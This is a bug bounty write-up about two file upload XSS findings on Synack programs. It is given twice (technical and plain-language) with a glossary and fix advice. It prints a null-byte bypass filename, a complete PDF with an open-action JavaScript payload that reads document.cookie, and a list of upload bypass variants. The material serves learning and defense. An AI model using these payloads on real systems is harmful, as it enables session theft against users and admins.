Bragging Rights: Killing File Uploads softly
The file upload functionality only checked file extensions, so an attacker could upload an SVG file with a null byte in the name to bypass the PDF-only restriction, leading to stored XSS when the file was opened. In a second case, a PDF with embedded JavaScript executed when an admin opened the uploaded receipt.
Published on infosecwriteups.com
Hi buddies, I hope you all are doing great and breaking internet on regular basis. I have started hacking on Synack since a month or so and I must say it has been a great journey so far.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a short account of two unrestricted file upload findings made on Synack programs. The researcher had been hacking on Synack for about a month and spent a weekend day searching every program on the platform that offered a file upload feature. The two targets described here were new at the time, and neither had a file upload report filed against it.
On the first target the upload feature accepted only PDFs. Uploaded files could then be downloaded by anyone, and opening the file triggered the payload. On the second target the feature was a receipt upload: a user uploads a receipt and an admin approves it by opening the report.
Setup
The researcher tried uploading a PHP file with Burp, which failed. No accounts, roles or versions beyond that are described. The only precondition that matters is that the uploaded file is later opened by someone else, in the first case any user who downloads it, in the second case the admin who reviews the receipt.
Finding it
The starting point was a search across Synack programs for anything that accepts files. Of the four or five programs found, two already had file upload reports, so they were dropped. The remaining two were fresh.
The first target accepted only PDFs. The classical attempt, uploading a PHP file through Burp, failed because nothing other than a PDF was accepted. Renaming the file to an XSS payload also failed. The idea that worked was an SVG file with a PDF extension and a null byte in the extension.
Exploitation
Step 1: SVG with a null byte in the extension
The filename used for the upload was:
prompt.SVG%00.pdf
The application accepted the file. After upload, anyone could download the uploaded file, and as soon as they opened it the XSS popped up. The researcher notes that it took some time but the payout was worthy.
Step 2: JavaScript embedded in a PDF
On the second target the same null byte method did not work. The researcher went back to searching for ways to bypass the restrictions and noticed that a PDF receipt could be uploaded with malicious content, and that the payload executed when someone opened the report. The full file content was:
%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\(document.cookie\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
BT
/F1 24 Tf
ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer
<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
The interesting part is object 3: the /AA entry defines an additional action, /O is the open action, and /S /JavaScript with the /JS string makes the PDF viewer run JavaScript when the document is opened. The script calls app.alert(document.cookie), wrapped in a try/catch that alerts the error message if the call fails. The rest of the file is a minimal one-page PDF so that it is a valid document.
As soon as the admin opens the report, a pop-up appears. The researcher points out that you need to check whether the victim has to download the file to their system, because if that is the case it does not make sense. In this case the payload executed in a new tab of the same target and was considered a valid bug.

Root cause
In the first case the upload accepted the file named prompt.SVG%00.pdf. The null byte in the filename, prompt.SVG%00.pdf, is what let the SVG content through under a PDF-looking name. After upload, anyone could download the file, and opening it triggered the XSS.
In the second case the file really was a PDF, so an extension check could not help. The PDF format itself supports JavaScript through the open action, and the viewer executed it. The file was a valid PDF containing JavaScript, which executed when opened.
Impact
In both cases the payload ran when another user opened the uploaded file: any user who downloaded the file on the first target, and the admin reviewing the receipt on the second. The script shown calls app.alert(document.cookie) when the file is opened. In the researcher's case the payload executed in a new tab of the same target and was considered a valid bug.
Fix
The report does not describe any fix that was applied. What the findings imply is that upload validation should not rely on the filename extension alone, that null bytes in filenames should be rejected, and that uploaded content should be served in a way that does not let it execute script in the application's origin. For PDFs, active content such as the open action with JavaScript should be stripped or the file should be rendered in a context where it cannot run script.
Variants to test
- Double extensions and null bytes: try names such as
file.SVG%00.pdfon any upload that only checks the extension. A positive result is the file being stored and served back with the SVG content intact. - SVG content under an image extension: upload SVG markup named
.pngor.jpgwhere the check is extension-based. A positive result is the browser rendering the SVG and running its script. - JavaScript in a valid PDF: build a minimal PDF with an
/OpenActionor/AAentry containing/S /JavaScriptand a/JSpayload, as in the file above. A positive result is the viewer executing the script when the document is opened. - Check where execution happens: open the uploaded file and see whether the payload runs in a new tab of the target or only after a download. Execution in a new tab of the target, rather than after a download, was what counted in the researcher's case.
What happened, in plain words
A security researcher spent a weekend looking for bugs in file upload features on Synack, a platform where companies offer rewards for finding security problems in their systems. He found four or five programs with file uploads; two were new and had no such reports. On both, he uploaded a file that ran a script when someone else opened it. This kind of bug is called a cross-site scripting (XSS) vulnerability. The first site only allowed PDF files, but he bypassed that check by naming a file with a null byte trick. The second site also only allowed PDFs, but he embedded JavaScript inside a valid PDF, which ran when an admin opened the receipt. The first finding's payout was described as worthy.

Setup
To follow along, you need to know a few basic ideas:
- File upload: a feature on a website that lets you send a file from your computer to the server. Think of it like attaching a photo to an email.
- PDF: a common file format for documents. It can contain text, images, and even interactive elements like JavaScript.
- SVG: a file format for images that is written in XML (a text-based markup language). SVG files can contain JavaScript, which makes them potentially dangerous if opened in a browser.
- JavaScript: a programming language that runs in your web browser. It can read cookies, change the page, and interact with the website.
- Cookie: a small piece of data that a website stores in your browser to remember you, like a session ID. If an attacker can read your cookies, they might be able to hijack your session.
- XSS (Cross-Site Scripting): a vulnerability where an attacker can inject JavaScript into a page viewed by others. When the victim opens the page, the script runs in their browser and can steal data or perform actions on their behalf.
- Burp Suite: a tool used by security testers to intercept and modify web traffic between the browser and the server. It lets you see and change requests before they reach the server.
- Null byte: a character (represented as
%00in URLs) that some systems treat as the end of a string. It can be used to trick file validation. - Synack: a platform that connects security researchers with companies that want their systems tested. Researchers get paid for valid bugs.
The researcher used Burp to intercept the upload requests and modify them. No special accounts or roles are described. The key precondition is that the uploaded file is later opened by someone else: in the first case, any user who downloads it; in the second, the admin who reviews the receipt.
Finding it
The researcher started by searching all programs on Synack that had a file upload feature. He found four or five, but two already had file upload reports, so he skipped them. The remaining two were new and had no such reports.
First target: only PDFs allowed
The first target accepted only PDF files. The researcher first tried uploading a PHP file with Burp. That failed because the server rejected anything that wasn't a PDF. He then tried renaming the file to an XSS payload, but that also failed.
Then he had an idea: what if he uploaded an SVG file (which can contain JavaScript) but gave it a PDF extension? And what if he added a null byte in the extension to trick the validation? He tried the filename:
prompt.SVG%00.pdf
Let's break this down:
prompt.SVGis the base name with the.SVGextension, indicating it's an SVG image.%00is a null byte, which in URLs represents the null character (ASCII 0). Some systems treat it as a string terminator..pdfis the final extension, making the whole filename appear to end with.pdf.
The idea is that the null byte in the extension might let the file through as a PDF. When a user opened the uploaded file, the XSS payload executed.
The application accepted the file. After upload, anyone could download it. As soon as they opened it, the XSS payload executed. The researcher notes that it took some time but the payout was worthy.
Second target: receipt upload with admin approval
The second target had a receipt upload feature: a user uploads a receipt, and an admin approves it by opening the report. The researcher tried the same null byte method, but it didn't work this time. He went back to searching for bypass techniques and found that he could upload a PDF receipt with malicious content. The payload would execute when someone opened the report.
He crafted a PDF file that contains JavaScript. Here is the full content:
%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\(document.cookie\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
BT
/F1 24 Tf
ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer
<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
This is a minimal PDF file. Let's explain the important parts:
%PDF-1.3is the PDF header, indicating the version.- The file is made of objects. Object 3 is the page object. It contains an
/AAentry, which stands for Additional Actions. Inside,/Ois the open action, meaning something that happens when the document is opened. The/S /JavaScriptspecifies that the action type is JavaScript, and the/JSstring contains the JavaScript code to run. - The JavaScript code is:
try {
app.alert(document.cookie)
} catch (e) {
app.alert(e.message);
}
This code tries to show an alert with the value of document.cookie (which contains the user's cookies for the site). If that fails (for example, because the PDF viewer restricts access), it shows the error message instead.
- The rest of the file defines a simple page with some text ("BT /F1 24 Tf ET" is a text object that does nothing visible) and the necessary cross-reference table and trailer to make it a valid PDF.
When the admin opens the receipt (the PDF), the PDF viewer executes the JavaScript, and a pop-up appears showing the cookie or an error. The researcher points out that you need to check whether the victim has to download the file to their system, because if they do, it might not be considered a valid bug. In this case, the payload executed in a new tab of the same target (the website), so it was considered valid.

Root cause
In the first case, the upload validation only checked the file extension and accepted anything ending in .pdf. The null byte in the filename, prompt.SVG%00.pdf, tricked the validation into seeing a PDF extension while the content was actually SVG. After upload, anyone could download the file, and opening it triggered the XSS.
In the second case, the file was a real PDF, so an extension check couldn't help. The PDF format itself supports JavaScript through the open action, and the viewer executed it. The file was a valid PDF containing JavaScript, which executed when opened.
Impact
In both cases, the payload ran when another user opened the uploaded file: any user who downloaded the file on the first target, and the admin reviewing the receipt on the second. The script calls app.alert(document.cookie) when the file is opened. In the researcher's case the payload executed in a new tab of the same target and was considered a valid bug.
Fix
The report does not describe any fix that was applied. What the findings imply is that upload validation should not rely on the filename extension alone, that null bytes in filenames should be rejected, and that uploaded content should be served in a way that does not let it execute script in the application's origin. For PDFs, active content such as the open action with JavaScript should be stripped or the file should be rendered in a context where it cannot run script.
Variants to test
- Double extensions and null bytes: try names such as
file.SVG%00.pdfon any upload that only checks the extension. A positive result is the file being stored and served back with the SVG content intact. - SVG content under an image extension: upload SVG markup named
.pngor.jpgwhere the check is extension-based. A positive result is the browser rendering the SVG and running its script. - JavaScript in a valid PDF: build a minimal PDF with an
/OpenActionor/AAentry containing/S /JavaScriptand a/JSpayload, as in the file above. A positive result is the viewer executing the script when the document is opened. - Check where execution happens: open the uploaded file and see whether the payload runs in a new tab of the target or only after a download. Execution in a new tab of the target, rather than after a download, was what counted in the researcher's case.
Glossary
- API: Application Programming Interface; a set of rules that lets different software talk to each other. Think of it as a waiter taking your order to the kitchen.
- Burp Suite: A tool for intercepting and modifying web traffic between your browser and a server.
- Cookie: A small piece of data stored by a website in your browser to remember you, like a session ID.
- Cross-Site Scripting (XSS): A vulnerability where an attacker injects JavaScript into a page viewed by others, running in their browser.
- File upload: A feature that lets users send files from their computer to a server.
- JavaScript: A programming language that runs in web browsers and can interact with web pages.
- Null byte: A character (ASCII 0) that some systems treat as the end of a string; represented as
%00in URLs. - PDF: Portable Document Format; a file format for documents that can include text, images, and interactive elements like JavaScript.
- SVG: Scalable Vector Graphics; an image format written in XML that can contain JavaScript.
- Synack: A platform that connects security researchers with companies for bug bounty programs.
- XML: A text-based markup language used to structure data, similar to HTML.
- Origin: The combination of protocol, domain, and port that defines the security context of a web page. Scripts from one origin cannot access data from another origin.